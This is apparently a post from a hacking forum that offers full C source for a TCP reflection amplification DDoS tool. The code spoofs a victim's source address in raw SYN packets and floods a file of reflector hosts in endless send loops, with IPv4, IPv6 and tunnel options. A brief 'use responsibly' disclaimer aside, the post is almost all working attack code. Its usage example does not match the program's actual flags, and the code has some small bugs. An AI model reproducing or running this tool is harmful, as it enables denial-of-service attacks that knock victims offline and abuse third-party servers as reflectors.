Description:
I've been working on a Proof of Concept (PoC) for a TCP Amplification DDoS attack written in C.
Please use this responsibly and ensure any testing is done in a controlled and legal environment.
What is TCP Amplification?
TCP Amplification is a type of Distributed Denial of Service (DDoS) attack where the attacker exploits the three-way handshake process of TCP to overwhelm a target with a large volume of traffic.
This PoC demonstrates the basic concept and provides a foundation for understanding the mechanics behind such attacks.
How to Use:
Example:
Notes:
Source Code:
I've been working on a Proof of Concept (PoC) for a TCP Amplification DDoS attack written in C.
Please use this responsibly and ensure any testing is done in a controlled and legal environment.
What is TCP Amplification?
TCP Amplification is a type of Distributed Denial of Service (DDoS) attack where the attacker exploits the three-way handshake process of TCP to overwhelm a target with a large volume of traffic.
This PoC demonstrates the basic concept and provides a foundation for understanding the mechanics behind such attacks.
How to Use:
- Compile the code using a C compiler:
gcc -o tcp_amp_ddos tcp_amp_ddos.c - Run the executable with the required arguments:
sudo ./tcp_amp_ddos <source IP> <destination IP> <destination port>
Example:
sudo ./tcp_amp_ddos 192.168.1.2 192.168.1.3 80Notes:
- Running this code may require root privileges.
- Ensure you have permission to target the specified IP address and port.
- Always test in a controlled environment to avoid legal issues.
Source Code:
/* TCP retransmit amplification
*
* File format: <host> <port>
*/
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <stdint.h>
#include <signal.h>
struct ip_header {
uint8_t len:4,
version:4;
uint8_t tos;
uint16_t tot_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t sum;
uint32_t saddr;
uint32_t daddr;
} __attribute__((packed));;
struct ip6_header {
union {
struct ip6_hdrctl {
uint32_t ip6_un1_flow; /* 4 bits version, 8 bits TC,
20 bits flow-ID */
uint16_t ip6_un1_plen; /* payload length */
uint8_t ip6_un1_nxt; /* next header */
uint8_t ip6_un1_hlim; /* hop limit */
} ip6_un1;
uint8_t ip6_un2_vfc; /* 4 bits version, top 4 bits tclass */
} ip6_ctlun;
struct in6_addr ip6_src; /* source address */
struct in6_addr ip6_dst; /* destination address */
};
struct tcp_header {
uint16_t sport;
uint16_t dport;
uint32_t seq;
uint32_t ack_seq;
uint8_t len;
uint8_t flags;
uint16_t win;
uint16_t sum;
uint16_t urg;
} __attribute__((packed));
struct Packet {
struct ip_header *iph;
struct ip6_header *ip6h;
struct tcp_header *tcph;
size_t plen;
void *packet;
};
struct Reflector {
struct in6_addr ip6_addr;
struct in_addr ip4_addr;
uint16_t dport;
};
char tmpaddr[INET6_ADDRSTRLEN];
#define NTOP(a) inet_ntop(AF_INET6,&a,tmpaddr,INET6_ADDRSTRLEN)
size_t multiply = 0;
uint16_t timer = 10;
time_t start_time;
unsigned int server_count = 0;
unsigned int loop_count = 8;
uint8_t ipv6 = 0;
uint8_t single = 0;
useconds_t g_usleep = 50;
void usage() {
fprintf(stderr, "usage: ./treamp\n"
" -6 enable ipv6 [off]\n"
"! -s <ip> source\n"
"! -f <file> file with host:port reflectors\n"
" -S <ip> ipv4 tunnel source [random]\n"
" -D <ip> ipv4 tunnel dest [none]\n"
" -p <port> source port [random]\n"
" -t <seconds> timeout [900]\n"
" -m <n> iterations per loop [0]\n"
" -u <usecs> usecs between sends in -1 mode[50]\n"
" -1 one iteration\n");
exit(-1);
}
void fatal(char *reason) {
fprintf(stderr, "fatal: %s\n", reason);
exit(-1);
}
void timeout() {
printf("Exiting after %u second\n", (unsigned int)(time(0) - start_time));
exit(0);
}
struct Packet *create_packet(uint32_t ip4_src, uint32_t ip4_dst,
struct in6_addr *ip6_src, uint16_t sport) {
struct Packet *ps;
size_t plen = 0;
void *packet;
struct ip6_header *ip6h = NULL;
struct ip_header *iph = NULL;
struct tcp_header *tcph = NULL;
struct udp_header *udph = NULL;
struct icmp6_header *icmph = NULL;
size_t clen = 0;
int i;
uint16_t dport;
ps = (struct Packet *)calloc(1, sizeof(struct Packet));
if (!sport)
sport = 1024 + (int)(65000.0 * (rand() / (RAND_MAX + 1024.0)));
dport = 1 + (int)(65000.0 * (rand() / (RAND_MAX + 1.0)));
if (ip4_dst && !ip4_src)
ip4_src = (random() << 16) + (random() & 0xffff);
if (ipv6) {
plen = sizeof(struct ip6_header);
}
// IPv4 or 4to6 tunnel header
if (ip4_dst) {
plen += sizeof(struct ip_header);
}
plen += sizeof(struct tcp_header);
packet = malloc(plen);
ps->plen = plen;
ps->packet = packet;
// IPv4 or IPv6 over IPv4 tunnel defaults
if (ip4_dst) {
iph = (struct ip_header *)packet;
ps->iph = iph;
clen = sizeof(struct ip_header);
iph->len = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(plen);
iph->id = 1 + (int)(65000.0 * (rand() / (RAND_MAX + 1.0)));;
iph->frag_off = 0;
iph->ttl = 255;
if (ipv6) {
iph->protocol = IPPROTO_IPV6;
} else {
iph->protocol = IPPROTO_TCP;
}
iph->sum = 0;
iph->saddr = ip4_src;
iph->daddr = ip4_dst;
}
if (ipv6) {
ip6h = (struct ip6_header *)(packet + clen);
ps->ip6h = ip6h;
clen += sizeof(struct ip6_header);
memcpy(&ip6h->ip6_src, ip6_src, sizeof(struct in6_addr));
//set in blaster
//memcpy(&ip6h->ip6_dst, ip6_dst, sizeof(struct in6_addr));
ip6h->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl(0x60000000);
ip6h->ip6_ctlun.ip6_un1.ip6_un1_nxt = IPPROTO_TCP;
ip6h->ip6_ctlun.ip6_un1.ip6_un1_hlim = 64;
ip6h->ip6_ctlun.ip6_un1.ip6_un1_plen =
htons(sizeof(struct tcp_header));
}
tcph = (struct tcp_header *)(packet + clen);
ps->tcph = tcph;
clen += sizeof(struct tcp_header);
tcph->seq = random();
tcph->ack_seq = 0;
tcph->len = 5 << 4;
tcph->flags = 2;
tcph->win = htons(8192);
tcph->urg = 0;
tcph->sum = 0;
tcph->sport = htons(sport);
tcph->dport = htons(dport);
return(ps);
}
void blaster(struct Reflector *reflectors, struct in6_addr *ip6_src,
uint16_t sport, uint32_t source, uint32_t tun4to6_dest) {
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
struct sockaddr *sa;
uint32_t i;
uint32_t x = 0;
size_t clen = 0;
int olen = 1;
int s;
size_t sa_len;
register uint32_t sum;
uint16_t count;
uint32_t psum;
uint16_t *p;
struct Packet *ps;
void *packet;
struct ip_header *iph;
struct ip6_header *ip6h;
struct tcp_header *tcph;
size_t plen = 0;
if (ipv6) {
ps = create_packet(source, tun4to6_dest, ip6_src, sport);
tcph = ps->tcph;
iph = ps->iph;
// Pre-calculate static data checksu,
count = 8; // 128/16, number of 16bit chunks to sum
p = (uint16_t *)ip6_src;
while (count--) psum += *p++;
count = 8; // 20/2 16bit chunks of tcp packet size minus sport/dport
p = (uint16_t *)&tcph->seq;
while(count--) psum += *p++;
psum += htons(IPPROTO_TCP);
psum += htons(sizeof(struct tcp_header));
} else {
ps = create_packet(source, 1, NULL, sport);
tcph = ps->tcph;
iph = ps->iph;
// Pre-calculate static data checksu,
psum = (iph->saddr >> 16) + (iph->saddr & 0xffff);
count = 8; // 20/2 16bit chunks of tcp packet size minus sport/dport
p = (uint16_t *)&tcph->seq;
while(count--) psum += *p++;
if (sport) {
psum += tcph->sport;
}
psum += htons(IPPROTO_TCP);
psum += htons(sizeof(struct tcp_header));
}
ip6h = ps->ip6h;
packet = ps->packet;
plen = ps->plen;
// IPv4 or IPv6 over IPv4
if (!ipv6 || tun4to6_dest) {
sin.sin_family = AF_INET;
// Only used for interface routing
sin.sin_addr.s_addr = inet_addr("1.1.1.1");
sin.sin_port = htons(80);
sa = (struct sockaddr *)&sin;
sa_len = sizeof(struct sockaddr_in);
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
fprintf(stderr, "ERROR send_packet() -> socket()\n");
exit(-1);
}
else if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0) {
fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");
exit(-1);
}
// IPv6
} else {
sin6.sin6_family = AF_INET6;
// Must be set to 0 or sendto() will fail with EINVAL
sin6.sin6_port = 0;
sin6.sin6_scope_id = 0;
sin6.sin6_flowinfo = 0;
// Used to bind the socket to the correct outbound interface
memset(&sin6.sin6_addr, 0x41, sizeof(struct in6_addr));
//memcpy(&sin6.sin6_addr, ip6_src, sizeof(struct in6_addr));
sa = (struct sockaddr *)&sin6;
sa_len = sizeof(struct sockaddr_in6);
if ((s = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr, "ERROR send_packet() -> socket()\n");
exit(-1);
}
}
if (ipv6) {
if (single) {
for (i = 0; reflectors[i].dport; i++) {
tcph->dport = htons(reflectors[i].dport);
if (!sport) {
tcph->sport++;
}
memcpy(&ip6h->ip6_dst, &reflectors[i].ip6_addr,
sizeof(struct in6_addr));
sum = psum;
// Checksum source address
count = 8; // 128/16, number of 16bit chunks to sum
p = (uint16_t *)&ip6h->ip6_dst;
while(count--) sum += *p++;
sum += tcph->sport;
sum += tcph->dport;
// Carry overflow bits back to least significant bits
sum = (sum >> 16) + (sum & 0xffff);
// Compliment of one's sum
tcph->sum = ~(sum += (sum >> 16));
sendto(s, packet, plen, 0, sa, sa_len);
}
} else if (!multiply) {
while (1) {
for (i = 0; reflectors[i].dport; i++) {
tcph->dport = htons(reflectors[i].dport);
if (!sport) {
tcph->sport++;
}
memcpy(&ip6h->ip6_dst, &reflectors[i].ip6_addr,
sizeof(struct in6_addr));
sum = psum;
// Checksum source address
count = 8; // 128/16, number of 16bit chunks to sum
p = (uint16_t *)&ip6h->ip6_dst;
while(count--) sum += *p++;
sum += tcph->sport;
sum += tcph->dport;
// Carry overflow bits back to least significant bits
sum = (sum >> 16) + (sum & 0xffff);
// Compliment of one's sum
tcph->sum = ~(sum += (sum >> 16));
sendto(s, packet, plen, 0, sa, sa_len);
}
}
} else {
x = 0;
while (1) {
for (x = 0, i = 0; reflectors[i].dport; i++, x++) {
if (x > multiply) {
usleep(50);
x = 0;
}
// multiply
}
}
}
// IPv4
} else {
if (single) {
for (i = 0; reflectors[i].dport; i++) {
usleep(g_usleep);
tcph->dport = htons(reflectors[i].dport);
sum = psum;
if (!sport) {
tcph->sport++;
sum += tcph->sport;
}
iph->daddr = reflectors[i].ip4_addr.s_addr;
sum += (iph->daddr >> 16) + (iph->daddr & 0xffff);
sum += tcph->dport;
// Carry overflow bits back to least significant bits
sum = (sum >> 16) + (sum & 0xffff);
// Compliment of one's sum
tcph->sum = ~(sum += (sum >> 16));
sendto(s, packet, plen, 0, sa, sa_len);
}
} else if (!multiply) {
while (1) {
for (i = 0; reflectors[i].dport; i++) {
tcph->dport = htons(reflectors[i].dport);
sum = psum;
if (!sport) {
tcph->sport++;
sum += tcph->sport;
}
iph->daddr = reflectors[i].ip4_addr.s_addr;
sum += (iph->daddr >> 16) + (iph->daddr & 0xffff);
sum += tcph->dport;
// Carry overflow bits back to least significant bits
sum = (sum >> 16) + (sum & 0xffff);
// Compliment of one's sum
tcph->sum = ~(sum += (sum >> 16));
sendto(s, packet, plen, 0, sa, sa_len);
}
}
} else {
x = 0;
while (1) {
for (x = 0, i = 0; reflectors[i].dport; i++, x++) {
if (x > multiply) {
usleep(50);
x = 0;
}
tcph->dport = htons(reflectors[i].dport);
sum = psum;
if (!sport) {
tcph->sport++;
sum += tcph->sport;
}
iph->daddr = reflectors[i].ip4_addr.s_addr;
sum += (iph->daddr >> 16) + (iph->daddr & 0xffff);
sum += tcph->dport;
// Carry overflow bits back to least significant bits
sum = (sum >> 16) + (sum & 0xffff);
// Compliment of one's sum
tcph->sum = ~(sum += (sum >> 16));
sendto(s, packet, plen, 0, sa, sa_len);
}
}
}
}
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if ((ip.s_addr = inet_addr(host)) == -1) {
if (!(he = gethostbyname(host)))
return -1;
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return ip.s_addr;
}
#define RSTRINGLEN 64
struct Reflector *read_servers(char *filename) {
FILE *fp;
uint32_t len = 0;
uint32_t i;
struct Reflector *reflectors;
char buffer[RSTRINGLEN];
char arg[2][RSTRINGLEN];
char *p = NULL;
if (!(fp = fopen(filename, "r"))) {
fprintf(stderr, "Error: can't open file: %s\n", filename);
exit(-1);
}
len = 4096 * sizeof(struct Reflector);
reflectors = malloc(len);
while (fgets(buffer, sizeof(buffer), fp)) {
if (server_count >= (len / sizeof(struct Reflector)) - 2) {
reflectors = realloc(reflectors, len +
(4096 * sizeof(struct Reflector)));
len += 4096 * sizeof(struct Reflector);
}
if (buffer[strlen(buffer) - 1] == '\n')
buffer[strlen(buffer) - 1] = 0;
arg[0][0] = 0;
arg[1][0] = 0;
p = NULL;
for (i = 0; i < 2; i++) {
if (!(p = strtok(p ? NULL : buffer, " ")))
break;
strncpy(arg[i], p, sizeof(arg[i]) - 1);
}
if (!arg[1][0])
continue;
if (ipv6) {
if (!inet_pton(AF_INET6, arg[0], &reflectors[server_count].ip6_addr))
continue;
} else {
if ((reflectors[server_count].ip4_addr.s_addr = resolve(arg[0])) == -1)
continue;
}
reflectors[server_count].dport = atoi(arg[1]);
server_count++;
}
printf("*** Loaded %u reflectors ***\n", server_count);
if (!server_count) {
fprintf(stderr, "Error: 0 reflectors found\n");
exit(-1);
}
reflectors[server_count].dport = 0;
return(reflectors);
}
int main(int argc, char *argv[]) {
int i;
uint16_t sport = 0;
uint32_t rate;
struct Reflector *reflectors = NULL;
struct in6_addr ip6_src;
in_addr_t ip4_src = 0;
in_addr_t ip4_dst = 0;
char c;
printf("###### TCP retransmit amplify - doxic (@HeapAlloc)######\n");
memset(&ip6_src, 0, sizeof(ip6_src));
signal(SIGALRM, timeout);
sport = 0;
while ((c = getopt(argc, argv, "6s:f:p:t:S:D:m:1u:")) != -1) {
switch(c) {
case '6':
ipv6 = 1;
break;
case 's':
if (inet_pton(AF_INET6, optarg, &ip6_src)) {
ipv6 = 1;
printf("v6 source = %s\n", NTOP(ip6_src));
break;
}
if ((ip4_src = resolve(optarg)) == -1)
fatal("Invalid source address");
break;
case 'S':
ip4_src = inet_addr(optarg);
printf("v4 source = %s\n", inet_ntoa(*(struct in_addr *)&ip4_src));
break;
case 'D':
ip4_dst = inet_addr(optarg);
printf("v4 dest = %s\n", inet_ntoa(*(struct in_addr *)&ip4_dst));
break;
case 'f':
reflectors = read_servers(optarg);
break;
case 'p':
sport = atoi(optarg);
printf("source port = %u\n", sport);
break;
case 't':
start_time = time(0);
alarm(atoi(optarg));
printf("timeout = %d\n", atoi(optarg));
break;
case 'm':
multiply = atoi(optarg);
printf("multiply = %u\n", multiply);
break;
case '1':
single = 1;
break;
case 'u':
g_usleep = atoi(optarg);
break;
default:
usage();
exit(-1);
}
}
if (ipv6) {
if (strcmp("::", NTOP(ip6_src)) == 0) {
usage();
}
if (ip4_dst && !ip4_src) {
ip4_src = (random() << 16) + (random() & 0xffff);
printf("random v4 source = %s\n", inet_ntoa(*(struct in_addr *)&ip4_src));
}
} else {
if (!ip4_src || !reflectors)
usage();
}
if (!start_time) {
start_time = time(0);
alarm(500);
}
blaster(reflectors, &ip6_src, sport, ip4_src, ip4_dst);
}
Ban reason: Scamming | Last IP: 172.7.7.248 | https://raidforums.su/Forum-Ban-Appeals if you feel this is incorrect. (Permanent)